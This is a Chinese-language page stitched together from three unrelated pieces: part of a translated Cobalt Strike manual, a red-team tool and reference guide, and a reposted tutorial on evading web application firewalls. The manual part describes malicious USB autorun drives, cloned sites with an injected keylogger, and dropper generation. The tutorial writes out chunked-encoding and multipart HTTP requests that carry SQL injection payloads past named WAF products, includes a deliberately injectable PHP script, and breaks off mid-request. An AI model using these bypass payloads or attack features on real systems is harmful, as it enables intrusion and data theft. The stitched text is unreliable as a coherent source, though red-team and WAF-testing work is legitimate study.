选择一个或多个主机,然后右键单击以打开主机菜单。此菜单用于更改主机上的说明、设置其操作系统信息或从数据模型中删除主机。 服务 在目标显示中,右键单击主机,然后选择“ Services.”。这将打开Cobalt Strike的服务浏览器。在这里,您可以浏览服务,为不同的服务分配注释,以及删除服务记录 Cobalt Strike中的Unicode支持 Unicode是通用语言中字符到固定数字或代码点的转换。下文介绍了Cobalt Strike对Unicode文本的支持 编码 Unicode是字符到数字(代码点)的转换,但它不是编码。编码是通过将单个序列或字节序列映射到该映射中的代码点来为其赋予意义的相同方法。 在内部,Java应用程序使用UTF-16编码存储和操作字符。UTF-16是一种使用两个字节来表示普通字符的编码。Rarer字符用四个字节表示。Cobalt Strike是一个Java应用程序,在内部,Cobalt Strike能够在世界各种系统中存储,操作和显示文本。在核心Java平台上没有真正的技术障碍。 在Windows系统中,情况有所不同。Windows中用于表示字符的选项可以追溯到DOS日期。DOS程序使用ASCII文本和那些漂亮的制表符。将数字0-127转换成US ASCII和128-255,转换成漂亮的制表符的常见编码有一个名称,它叫代码页437。代码页437有几种版本,将漂亮的制表符与特定语言的字符混合在一起。此编码集合称为OEM编码。现在,每个Windows实例都有一个全局OEM编码设置。此设置表示如何编译程序写入控制台的字节输出。为了正确地编译cmd.exe的输出,了解目标的OEM编码是很重要的。 尽管如此有趣。制表符是DOS程序所需要的,但不一定是Windows程序。因此,有了这个,Windows就有了ANSI编码的概念。这是一个全局设置,如OEM编码。ANSI编码规定了ANSI Win32 API如何将字节序列转换成代码点。一种语言的ansi编码放弃了为其设计编码的语言中有用的字符而使用的漂亮的制表符。编码不一定限于将一个字节转换成一个字符。可变长编码可以将最常见的字符表示为单个字节,然后将其他字符表示为一些多字节序列。 不过,ANSI编码并不完整。Windows API通常具有ANSI和Unicode版本。API的ANSI版本接受并解释如上所述的文本参数。Unicode Win32 API需要使用UTF-16编码的文本参数。 在Windows中,可能存在多种编码情况。有OEM编码,可以用目标配置的语言表示一些文本。有ANSI编码可以表示更多的文本,主要是在目标的配置语言中。而且,UTF-16可以包含任何代码点。还有UTF-8,它是一种可变长编码,对ASCII文本来说空间有效率很高,但也可以包含任何代码点。 Beacon Cobalt Strike的Beacon输出目标的ANSI和OEM编码作为其会话元数据的一部分。Cobalt Strike根据需要使用这些值将文本输入编码为目标的编码。Cobalt Strike还根据需要使用这些值对目标的编码文本输出进行解码。 一般来说,文本与目标编码之间的转换对您是透明的。如果您在一个目标上执行,配置为一种语言,事情将按您的期望执行。 当您在使用混合语言环境时,命令之间会出现不同的结果。例如,如果输出包含来自西里尔字母、中文和拉丁字母的字符,则某些命令将正常执行,而其他不会正常执行。 Beacon中的大多数命令使用目标的ANSI编码来编码输入和解码输出。目标配置的ANSI编码可能只将字符映射到少数写入系统的代码点。如果当前目标的ANSI编码未映射西里尔字符,则make_token将不会对使用西里尔字符的用户名或密码执行正确的操作。 在Beacon中,有些命令使用UTF-8作为输入和输出。。通常,这些命令将按照您对混合语言内容的要求执行。这是因为UTF-8文本可以将字符转换成任何Unicode代码点 下表列出了哪些Beacon命令使用ANSI编码以外的其他内容来解码输入和输出: Command Input Encoding Output Encoding hashdump UTF-8 mimikatz UTF-8 UTF-8 powerpick UTF-8 UTF-8 powershell UTF-16 OEM psinject UTF-8 UTF-8 shell ANSI OEM 注意:对于熟悉mimimikatz的人,您将注意到mimimikatz在内部使用unicode win32 API和utf-16字符。UTF-8是从哪里来的?Cobalt Strike与Mimikatz的接口以utf-8的形式发送输入,并将输出转换为utf-8。 SSH会话 Cobalt Strike的SSH会话使用UTF-8编码进行输入和输出。 日志 Cobalt Strike的日志是UTF-8编码的文本。 字体 您的字体可能会限制显示某些系统中的字符。要更改Cobalt Strike字体: 进入到Cobalt Strike - > Preferences - > Cobalt Strike来更改GUI Font值。这将改变Cobalt Strike在其对话框,表格和界面其余部分中使用的字体。 进入到Cobalt Strike - > Preferences - > Console以更改Cobalt Strike控制台使用的字体。 Cobalt Strike - > Preferences - > Graph有一个Font选项来更改Cobalt Strike的pivot图所使用的字体 USB/CD 自动播放攻击 Cobalt Strike的 USB/CD 自动播放攻击可帮助您将CD-ROM或USB驱动器转变为针对Windows XP和Windows Vista系统的攻击。Cobalt Strike创建了一个autorun.info文件,它添加了一个自动播放操作并挂钩了驱动器的几个shell命令。这些挂钩将允许用户在尝试查看驱动器的内容时无意中运行您指定的可执行文件 要创建恶意USB驱动器,请进入到Attacks - > Packages - > USB/CD AutoPlay 在“ Media Label ”字段中指定驱动器的名称。 提供自动播放操作(AutoPlay Action)文本。当插入驱动器时,将在操作列表的顶部向用户显示此内容。此外,请确保在驱动器上放置几个支持您的符文的合法文件。Windows根据用户在驱动器上看到的文件类型向用户显示操作。 提供自动播放操作文本。当驱动器插入时,这将显示在操作列表顶部的用户。另外,请确保您在驱动器上放置了几个支持您的诡计的合法文件。Windows根据用户在驱动器上看到的文件类型向用户显示操作 指定自动播放图标(AutoPlay Icon)。您可以引用驱动器上的文件或在标准位置指定图标。 最后,选择要运行的可执行文件。您可以 通过Cobalt Strike 生成可执行文件,或者如果需要,可以使用另一个可执行文件。 选择“Launch”并选择保存文件的位置。这些文件应最终位于驱动器的根目录上,这样攻击才能正常执行。 此攻击最适合Windows XP系统。它的一部分可以在Windows Vista上运行。此攻击不适用于Windows 7。 注意:此攻击的实现已过时,在现有的最新环境中不起作用。 Website Clone Tool(网站克隆工具) 在将漏洞发送到目标之前,它有助于对其进行修饰。Cobalt Strike的网站克隆工具可以帮助解决这个问题。网站克隆工具生成一个本地网站副本,其中添加了一些代码以修复链接和图像,以便它们按预期执行。 要克隆网站,请进入到Attacks -> Web Drive-by -> Clone Site. 可以将攻击嵌入到克隆的站点中。在Embed字段中写下攻击的URL,Cobalt Strike将使用IFRAME将其添加到克隆的站点。点击...按钮并选择一个正在运行的客户端漏洞。 克隆的网站也可以捕获键盘输入。选中Log keystrokes on cloned site框。这将在克隆的站点中插入一个javascript密钥记录器。 要查看记录的键盘输入或查看克隆站点的访问,请进入到View -> Web Log.。 选中Enable SSL以通过SSL提供此内容。在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。确保Host字段与SSL证书的CN字段匹配。这将避免由于这些字段之间的不匹配而导致此功能失败的情况 选中“ Enable SSL to serve this content over SSL.”。 Delivering Beacon with a Metasploit Framework Exploit Covert VPN Cobalt Strike通过其Covert VPN功能来提供VPN 转发。Covert VPN在Cobalt Strike系统上创建了一个网络接口,并将此接口连接到目标网络。 如何部署Covert VPN 要激活Covert VPN,请右键单击受控的主机,进入到 [beacon] - > Pivoting - > Deploy VPN。选择您希望Covert VPN绑定到的远程接口。如果没有本地接口,请选择Add来创建。 检查克隆主机MAC地址,使本地接口与远程接口具有相同的MAC地址。 选择Deploy在目标上启动Covert VPN客户端。Covert VPN需要管理员访问才能部署。 一旦Covert VPN接口被激活,您就可以像使用系统上的任何物理接口一样使用它。使用ifconfig配置其IP地址。如果目标网络具有DHCP服务器,则可以使用操作系统的内置工具从该服务器请求IP地址 管理接口 要管理您的Covert VPN接口,请进入到Cobalt Strike - > Interfaces。在这里,Cobalt Strike将显示Covert VPN接口,它们的配置方式以及通过每个接口传输和接收的字节数。突出显示一个接口,然后选择“Remove”清除该接口并关闭远程Covert VPN客户端。。Covert VPN将在重新启动时删除其临时文件,并立即自动撤消任何系统更改。 选择Add 以配置新的Covert VPN接口。 配置接口 Covert VPN接口包括一个网路分流器(Network Tap)和一个通过以太网帧进行通信的通道。要配置接口,请选择接口名称(这是稍后通过ifconfig操作的内容)和MAC地址。 VPN接口设置 您还必须为您的接口配置Covert VPN通信通道。Covert VPN可以通过UDP连接、TCP连接,ICMP或使用HTTP协议来通信以太网帧。TCP(反向)通道的目标连接到Cobalt Strike实例。TCP(Bind)通道通过Beacon具有Cobalt Strike隧道VPN。 Cobalt Strike将根据您选择的本地端口和通道设置和管理与Covert VPN客户端的通信。 Covert VPN HTTP通道使用Cobalt Strike Web服务器。您可以在同一端口上托管其他Cobalt Strike Web应用程序和多个Covert VPN HTTP通道。 为获得最佳性能,请使用UDP通道。与TCP和HTTP通道相比,UDP通道的消耗最小。如果需要通过防火墙,请使用ICMP,HTTP或TCP(Bind)通道。 注意:此功能在Windows 10目标上不起作用。 创建Windows Dropper EXE dropper是一个可执行文件,它将文档存储到磁盘上,打开它,然后在后台以静默方式执行攻击者的有效负载。Attacks -> Packages -> Windows Dropper将为您生成一个Windows Dropper。 Embedded File是嵌入可执行的文件。您可以在此处使用任何文件类型。 File Name是文件存储到磁盘时的名称。您应该尽可能使此名称与您的dropper的计划名称相匹配。Cobalt Strike会将嵌入的文件存储到用户的Documents文件夹中。 选择Generate生成Dropper可执行文件。 使用图标编辑器(icon editor )将可执行文件的图标更改为嵌入式文件。 Cobalt Strike的Artifact Kit生成Windows Dropper可执行文件。 创建Windows EXE Attacks -> Packages -> Windows Executabl生成一个win32侦听器的windows可执行artifact。此包提供了几个输出选项: Windows EXE是Windows可执行文件。 Windows Service EXE 是响应服务控制管理器命令的Windows可执行文件。您可以使用此可执行文件创建带有sc的Windows服务,或使用Metasploit®Framework的PsExec模块创建自定义可执行文件。 Windows DLL (32-bit) 是一个x86 Windows DLL。 Windows DLL (64-bit)是一个x64 Windows DLL。如果未选中Use x64 payload”,则x64 DLL将生成32位进程并将侦听器迁移到该进程。 x86和x64 DLL选项导出与rundll32.exe兼容的Start函数。使用适合体系架构的rundll32.exe从命令行加载DLL。 rundll32 foo.dll,Start 此功能生成x86 artifacts,默认情况下提供x86架构(除非另有说明)。选中Use x64 payload 框以生成包含x64有效负载架构的x64 artifacts。 选中Sign executable file框,使用代码签名证书对EXE或DLL artifacts进行签名。必须在Malleable C2配置文件中指定证书。 Cobalt Strike使用其Artifact Kit生成此输出。 创建Windows Executable (Stageless) Attacks -> Packages -> Windows Executable (S) 生成一个Windows可执行artifacts,其中包含Cobalt Strike的Beacon(没有stagers,因此没有稳定有效载荷)。此包提供了几个输出选项: PowerShell是一个PowerShell脚本,它向内存中注入一个不稳定的Beacon。 Raw是一个包含Beacon的与位置无关的代码块。 Windows EXE是Windows可执行文件。 Windows Service EXE 是响应服务控制管理器命令的Windows可执行文件。您可以使用此可执行文件创建带有sc的Windows服务,或使用Metasploit®Framework的PsExec模块创建自定义可执行文件。 Windows DLL (32-bit) 是一个x86 Windows DLL。 Windows DLL (64-bit) 是一个x64 Windows DLL。如果未选中“ Use x64 payload”,则x64 DLL将生成32位进程并将侦听器迁移到该进程。 x86和x64 DLL选项导出与rundll32.exe兼容的Start函数。使用适合体系架构的rundll32.exe从命令行加载DLL。 rundll32 foo.dll,Start Proxy字段配置用于Beacon的手动代理设置。这是可选的。 此功能生成x86 artifacts,默认情况下提供x86架构(除非另有说明)。选中Use x64 payload 框以生成包含x64有效负载架构的x64 artifacts。 选中Sign executable file框,使用代码签名证书对EXE或DLL artifacts进行签名。必须在Malleable C2配置文件中指定证书。 Cobalt Strike使用其Artifact Kit生成此输出。。 Lateral Movement Demonstration
-
红队建设与备忘录
1.Red Teaming VS Penetration Testing VS漏洞测试 基于威胁的安全测试方法可能使用多个名称; 红队、威胁操作、威胁评估、紫队、对抗评估、渗透测试、漏洞测试。这些并非完全相同,安全行业定义用于建立共同理解的术语非常重要。为了解决这个问题,本文中所有基于威胁的安全测试都将被称为Red Teaming。 定义:红色团队是使用战术、技术和过程(TTP)来模拟现实世界攻击的过程,其目标是训练和衡量用于保护系统环境的人员、过处理流程和技术的有效性。换句话说,红队是使用真实攻击技术来模拟攻击的过程,目的是培训蓝队和/或测量整个安全操作。 红色团队可以深入了解自动攻击行为者对目标的影响。使用反金字塔图,我们可以说明红队,渗透测试和漏洞评估之间的关系。这将有助于进一步定义Red Teaming IS和IS NOT。 脆弱性评估 :脆弱性评估往往覆盖范围广。考虑对所有企业工作站进行漏洞评估。范围很广,但在对企业组织受到风险的背景下了解不是很深。当发现漏洞时,对漏洞风险能说明什么呢?企业组织的总体风险可能会在很小程度上推断,但通常会保持在该工作站级别。漏洞评估擅长减少攻击面,但在企业组织风险方面没有提供太多细节。 渗透测试:通过利用和证明攻击路径将漏洞评估提升到新的水平。渗透测试通常看起来和感觉像一个红色团队的参与,甚至使用一些相同的工具或技术。关键的区别在于目标和意图。渗透测试的目标是对目标系统执行攻击,以识别和测量与目标攻击面的利用相关的风险。企业组织风险可以间接衡量,通常从某些技术攻击中推断出来。人员和流程怎么样?这就是红队适合的地方。红队注重整体安全操作,包括人员、流程和技术。红队特别关注与培训蓝队或衡量安全操作如何影响威胁的操作能力相关的目标。技术缺陷是理解威胁如何影响组织的操作或安全操作如何影响威胁的操作能力的次要因素。 3.红队参考 描述地址 红队:如何像敌人一样思考 - Micha Zenko https://www.cfr.org/book/red-team Strategic Cyber Blog http://blog.cobaltstrike.com SpecterOps Blog https://posts.specterops.io ThreatExpress Blog http://threatexpress.com Cobalt Strike Aggressor Scripts @ harleyQu1nn https://github.com/harleyQu1nn/AggressorScripts Cobalt Strike Aggressor Scripts @bluescreenofjeff https://github.com/bluscreenofjeff/AggressorScripts Awesome-Red-Teaming https://github.com/yeyintminthuhtut/Awesome-Red-Teaming Red Team Journal http://redteamjournal.com 2.1 红队基础设施 有关构建红队基础架构的提示和技巧 描述地址 红队基础设施文库 https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki 构建隐蔽红队基础设施 https://bluescreenofjeff.com/2017-12-05-designing-effective-covert-red-team-attack-infrastructure/ Mod_Rewrite重定向器 https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/ CobaltStrike配置文件Mod_Rewrite http://threatexpress.com/2018/02/automating-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-intelligent-c2-redirection/ SSL证书安装/透明度报告 https://cryptoreport.websecurity.symantec.com SSL证书安装/透明度报告 https://transparencyreport.google.com/https/certificates?hl=en 2.2.红队工具 基于Get In,Stay In和Act基础以及Cyber Kill Chain的重要红队工具 2.3.获得权限 侦察 信息收集工具 描述地址 BloodHound https://github.com/BloodHoundAD/BloodHound DomainHunter https://github.com/threatexpress/domainhunter EyeWitness https://github.com/ChrisTruncer/EyeWitness MailSniper https://github.com/dafthack/MailSniper NMAP https://nmap.org Recon-NG https://bitbucket.org/LaNMaSteR53/recon-ng Shodan https://www.shodan.io/ OPSEC对Beacon命令的注意事项 https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/ 武器化 用于创建有效payload的工具 描述地址 CACTUSTORCH https://github.com/mdsecactivebreach/CACTUSTORCH Backdoor Factory https://github.com/secretsquirrel/the-backdoor-factory Unicorn https://github.com/trustedsec/unicorn Veil https://github.com/Veil-Framework 进程注入技术 https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process 网络钓鱼 初始访问和有效payload交付的工具 描述地址 Social Engineering Toolkit https://github.com/trustedsec/social-engineer-toolkit GoPhish https://getgophish.com/ FiercePhish https://github.com/Raikia/FiercePhish 利用 利用工具 描述地址 Burp Suite https://portswigger.net/burp Exploit-DB https://www.exploit-db.com Metasploit https://www.metasploit.com Zed Attack Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project 2.4.维持权限 安装 用于持久性和有效payload安装的工具 描述地址 Windows权限清单 https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md Persistence https://rastamouse.me/2018/03/a-view-of-persistence/ PowerSploit https://github.com/PowerShellMafia/PowerSploit 命令与控制 命令和控制工具与框架 描述地址 Empire http://www.powershellempire.com/ CobaltStrike https://cobaltstrike.com/ Kodiac https://github.com/zerosum0x0/koadic PoshC2 https://github.com/nettitude/PoshC2 Pupy https://github.com/n1nj4sec/pupy Merlin https://github.com/Ne0nd0g/merlin Metasploit https://www.metasploit.com/ TinyShell https://github.com/threatexpress/tinyshell Throwback https://github.com/silentbreaksec/Throwback WMImplant https://github.com/ChrisTruncer/WMImplant 2.5.行动 对目标采取行动 在目标上执行操作的工具 描述地址 Misc PowerShell Post Exploitation Scripts https://github.com/rvrsh3ll/Misc-Powershell-Scripts Hashcat https://hashcat.net/hashcat/ GhostPack https://github.com/GhostPack DCOM对象用于横向移动 https://www.cybereason.com/blog/dcom-lateral-movement-techniques Mimikatz https://github.com/gentilkiwi/mimikatz PowerUp https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 PowerView的 https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 WMIOps https://github.com/ChrisTruncer/WMIOps/ 2.6.NET 描述地址 James Forshaw的OleView .NET项目 https://tyranidslair.blogspot.com/2018/09/finding-interactive-user-com-objects_9.html 用于从VBS/JScript运行C#的DotNetToJScript项目 https://github.com/tyranid/DotNetToJScript 2.7. Windows Active Directory 描述地址 利用后渗透进行攻击和防御Active Directory https://github.com/infosecn1nja/AD-Attack-Defense 攻击DPAPI的恶意利用 https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse 内部模块 - 在不触及LSASS的情况下读取NTLM哈希值 https://github.com/eladshamir/Internal-Monologue 约束委派信息 https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/ 约束委派信息 http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ 黄金票据检测 https://adsecurity.org/?p=1515](https://adsecurity.org/?p=1515) 黄金票据检测 https://docs.microsoft.com/en-us/azure-advanced-threat-protection/suspicious-activity-guide#kerberos-golden-ticketa-namegolden-ticketa 攻击域信任指南 http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts 3.MITER ATT&CK MITRE的对抗战术,技术和常识(ATT&CK™)是网络对手行为的策划知识库和模型,反映了对手生命周期的各个阶段以及他们已知的目标平台。ATT&CK有助于了解对抗已知对手行为的安全风险,规划安全改进,并验证防御系统是否按预期工作。 ATT&CK 分为战术,技术和过程 战术是在行动中对目标可能使用的战术目标。 技术描述了为实现其目标所采取的行动。 过程是执行操作所需的技术步骤 不管潜在的漏洞是什么,这个框架提供了所有威胁行为的分类 红队可以通过技术研究和经验来模拟真实的TTP攻击。这些信息中的大部分都已提交给ATT&CK。TT&CK可以被认为是TTP的菜单。红队可以利用这一点来确保他们有一套全面的攻击战术、技术和过程,蓝队可以利用这一点来建立一个计分卡,显示他们在防御各种战术、技术和执行过程方面的能力。 参考: 描述地址 TO&CC https://attack.mitre.org/wiki/Main_Page PRE-TO&CC https://attack.mitre.org/pre-attack/index.php/Main_Page ATT&CK Navigator https://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/the-attck%E2%84%A2-navigator-a-new-open-source ATT&CK Navigator示例 https://mitre.github.io/attack-navigator/enterprise/ 4.红队备忘表 @harmj0y Red Team Cheat Sheets CobaltStrike Beacon PowerShell Empire PowerSploit PowerView PowerUp 4.1Windows Active Directory 攻击域信任指南 http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts 4.2.PowerView Make PowerView Great Again 4.3.SANS备忘表 PowerShell Windows Command Line 4.4.Blue Teaming Cheat Sheets SANS Blue Team Wiki 4.5.Powershell备忘表 PowerShell 4.6.Bloodhound 5.红队建设清单 这套清单旨在帮助您规划和建立一个红队。每种设计都可能有其他要求。使用此清单作为模板并根据需要进行修改。 ☐确定所需的知识和技能 ☐确定并弥补知识所缺的方法 ☐制定角色和责任指南 ☐制定红色团队方法 ☐为参与制定TTP指南 ☐包括一些技巧 ☐制定数据收集指南和工具 ☐制定业务流程计划 ☐制定沟通计划模板 ☐制定ROE模板 ☐制定技术简报模板 ☐制定报告模板 5.1.规划 - 红队建设核对清单 ☐参与计划 ☐RHE ☐事件沟通计划 ☐分散解决意见不一致过程 ☐切入点/方法 ☐范围 ☐目标(应至少解决以下一项问题) ☐保护 ☐检测 ☐响应 ☐恢复 ☐目标限制 ☐目标基础设施/资产验证/批准 ☐场景利用 ☐安全运营影响规划 ☐制定攻击概况 ☐网络和主机活动 ☐IOC生成(包括后续分析)和管理 ☐规划攻击基础设施 ☐第1层 ☐入侵防御系统 ☐系统 ☐重定向器 ☐PPS ☐第2层 ☐入侵防御系统 ☐系统 ☐重定向器 ☐PPS ☐第3层 ☐入侵防御系统 ☐系统 ☐重定向器 ☐PPS ☐将工具部署到基础架构中 ☐数据收集库 5.2.执行 - 红队建设核对清单 ☐每日完成和汇总确认 ☐获取日志信息 ☐获取屏幕截图 ☐获取系统变化 ☐每日(或每日两次)强制性内部RT SITREP ☐更新实时攻击图 5.3.收尾 - 红队建设核对清单 ☐红队攻击结束 ☐汇总数据 ☐回滚系统更改 ☐已收集验证数据 ☐描述关键攻击图 ☐技术评审 ☐执行摘要 ☐报告 ☐攻击性报告阐述 ☐攻击总结 ☐完成攻击图 ☐完成报告
-
Burpsuit分块传输插件绕WAF原理和技巧(转)
0x00 原理 给服务器发送payload数据包,使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容。如图一所示 0x02 实验环境 本机win10+xampp+某狗web应用防火墙最新版。为方便演示,存在sql注入的脚本中使用$_REQUEST["id"]来接收get,或者post提交的数据。waf配置为拦截url和post的and or 注入,如图所示: 发送get请求或利用hackbar插件发送post请求payload均被拦截,如图所示: 0x03 绕过WAF方法 一· 利用pipline绕过[该方法经测试会被某狗拦截] 原理: http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。 1. 关闭burp的Repeater的Content-Length自动更新,如图四所示,点击红圈的Repeater在下拉选项中取消update Content-Length选中。这一步至关重要!!! 2. burp截获post提交 id=1 and 1=1 ,显示被waf拦截如图五所示。 3. 复制图五中的数据包黏贴到 id=1 and 1=1 后面如图六所示。 4. 接着修改第一个数据包的数据部分,即将 id=1+and+1%3D1 修改为正常内容id=1,再将数据包的Content-Length的值设置为修改后的【id=1】的字符长度即4,最后将Connection字段值设为keep-alive。提交后如图七所示,会返回两个响应包,分别对应两个请求。 注意:从结果看,第一个正常数据包返回了正确内容,第二个包含有效载荷的数据包被某狗waf拦截,说明两数据包都能到达服务器,在面对其他waf时有可能可以绕过。无论如何这仍是一种可学习了解的绕过方法,且可以和接下来的方法进行组合使用绕过。 二.利用分块编码传输绕过[该方法可绕某狗] 原理: 在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。 1. 开启上个实验中已关闭的content-length自动更新。给post请求包加入Transfer-Encoding: chunked后,将数据部分id=1 and 1=1进行分块编码(注意长度值必须为十六进制数),每一块里长度值独占一行,数据占一行如图八所示。 2.将上面图八数据包的 id=1 and 1=1 改为 id=1 and 1=2 即将图八中所标的第4块的1改为2。如图九所示没有返回数据,payload生效。 注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。 三.利用协议未覆盖进行绕过[同样会被某狗拦截] 原理: HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。 1.将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。 由于是正常数据提交,所以从图十可知数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。 2.一般绕waf往往需要多种方式结合使用,如图十的示例中,只需将数据部分1 and 1=1用一个小数点”.”当作连接符即1.and 1=1就可以起到绕过作用。当然,这只是用小数点当连接符所起的作用而已。如图十一所示。 四.分块编码+协议未覆盖组合绕过 1.在协议未覆盖的数据包中加入Transfer-Encoding: chunked ,然后将数据部分全部进行分块编码,如图十二所示(数据部分为1 and 1=1)。 注意:第2块,第3块,第7块,和第8块。 第2块中需要满足 长度值 空行 Content-Disposition: name="id" 空行 这种形式,且长度值要将两个空行的长度计算在内(空行长度为2)。 第3块,即数据开始部分需满足 长度值 空行 数据 形式,且需将空行计算在内。 第7块即分割边界结束部分,需满足 长度值 空行 分割结束符 空行 形式,且计算空行长度在内。 第8块需满足 0 空行 空行 形式。如果不同时满足这四块的形式要求,payload将不会生效。 0x04 绕过WAF技巧 一、技巧1:使用注释扰乱分块数据包 一些如Imperva,360等比较好的WAF已经对传输编码的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。 我们可以在[RFC7230]中查看到有关分块传输的定义规范。 Chunked Transfer Coding: The chunked transfer coding wraps the payload body in order to transfer it as a series of chunks, each with its own size indicator, followed by an OPTIONAL trailer containing header fields. Chunked enables content streams of unknown size to be transferred as a sequence of length-delimited buffers, which enables the sender to retain connection persistence and the recipient to know when it has received the entire message. chunked-body = *chunk last-chunk trailer-part CRLF chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-size = 1*HEXDIG last-chunk = 1*("0") [ chunk-ext ] CRLF chunk-data = 1*OCTET ; a sequence of chunk-size octets The chunk-size field is a string of hex digits indicating the size of the chunk-data in octets. The chunked transfer coding is complete when a chunk with a chunk-size of zero is received, possibly followed by a trailer, andfinally terminated by an empty line. A recipient MUST be able to parse and decode the chunked transfer coding. Chunk Extensions: The chunked encoding allows each chunk to include zero or more chunk extensions, immediately following the chunk-size, for the sake of supplying per-chunk metadata (such as a signature or hash), mid-message control information, or randomization of message body size. chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) chunk-ext-name = token chunk-ext-val = token / quoted-string The chunked encoding is specific to each connection andis likely to be removed or recoded by each recipient (including intermediaries) before any higher-level application would have a chance to inspect the extensions. Hence, use of chunk extensions is generally limited 通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如: 9;kkkkk 1234567=1 4;ooo=222 2345 0 (两个换行) 几乎所有可以识别传输编码数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。 现在我们在使用了Imperva的应用防火墙的网站测试常规的分块传输数据包: POST /xxxxxx.jsp HTTP/1.1 ...... Transfer-Encoding: Chunked 9 xxxxxxxxx 9 xx=xxxxxx 9 xxxxxxxxx 1 d 9 &a=1 and 3 2=2 0 (两个换行) 返回的结果如下图所示。 可以看到我们的攻击有效载荷“和2 = 2”被Imperva的WAF拦截了。 这时我们将分块传输数据包加入注释符。 POST /xxxxxx.jsp HTTP/1.1 ...... Transfer-Encoding: Chunked 9 xxxxxxxxx 9 xx=xxxxxx 9 xxxxxxxxx 1;testsdasdsad d 9;test &a=1 and 3;test44444 2=2 0 (两个换行) 返回的结果如下图所示。 可以看到Imperva的已经不拦截这个负荷了。 二、技巧2:绕过ModSecurity 众所周知的ModSecurity是加载在中间件上的插件,所以不需要理会解析HTTP数据包的问题,因为中间件已经帮它处理完了,那么无论使用常规的分块还是加了注释的分块数据包,ModSecurity的都能直接获取到完整的HTTP数据包然后匹配危险关键字,所以一些基于ModSecurity的做的WAF产品难道就不受影响吗? 接下来我们在apache+ ModSecurity的环境做测试。 sql.php代码如下: <?php ini_set("display_errors", "On"); error_reporting(E_ALL); $con = mysql_connect("localhost","root",""); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); $id = $_REQUEST["id"]; $sql = "select * from user where id=$id"; $result = mysql_query($sql,$con); while($row = mysql_fetch_array($result)) { echo $row['name'] . " " . $row['password']."n"; } mysql_close($con); print"========GET==========n"; print_r($_GET); print"========POST==========n"; print_r($_POST); ?><ahref="sqli.php?id=1"> sdfsdf </a> ModSecurity的加载的规则拦截了请求包中的关键字“联盟”。 下面我们的请求和返回结果如下: 请求: http://10.10.10.10/sql.php?id=2%20union 返回: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /sql.php was not found on this server.</p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> 可以看到我们的“联盟”关键字被拦截了。 接下来我们传输一个畸形的分块数据包看看。 请求: POST /sql.php?id=2%20union HTTP/1.1 ...... Transfer-Encoding: chunked 1 aa 0 (两个换行) 返回: <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> ========GET========== Array ( [id] => 2 union ) ========POST========== Array ( ) 可以看到虽然apache的报错了,但是因为apache的容错很强,所以我们提交的参数依然传到了PHP中,而我们的ModSecurity的并没有处理400错误的数据包,最终绕过了ModSecurity的。 接下来我们把的ModSecurity的规则改为过滤返回数据中包含的“根”的字符串,然后在sql.php脚本中加入打印“根”关键字的代码。 接着我们做如下测试: 请求: http: //10.10.10.10/sql.php?id=1 返回: <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /sql.php on this server.</p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> 因为sql.php脚本中返回了带有“根”的关键字,所以直接就被ModSecurity的拦截了。这时我们改为发送畸形的分块数据包。 请求: POST /sql.php?id= HTTP/1.1 Host: 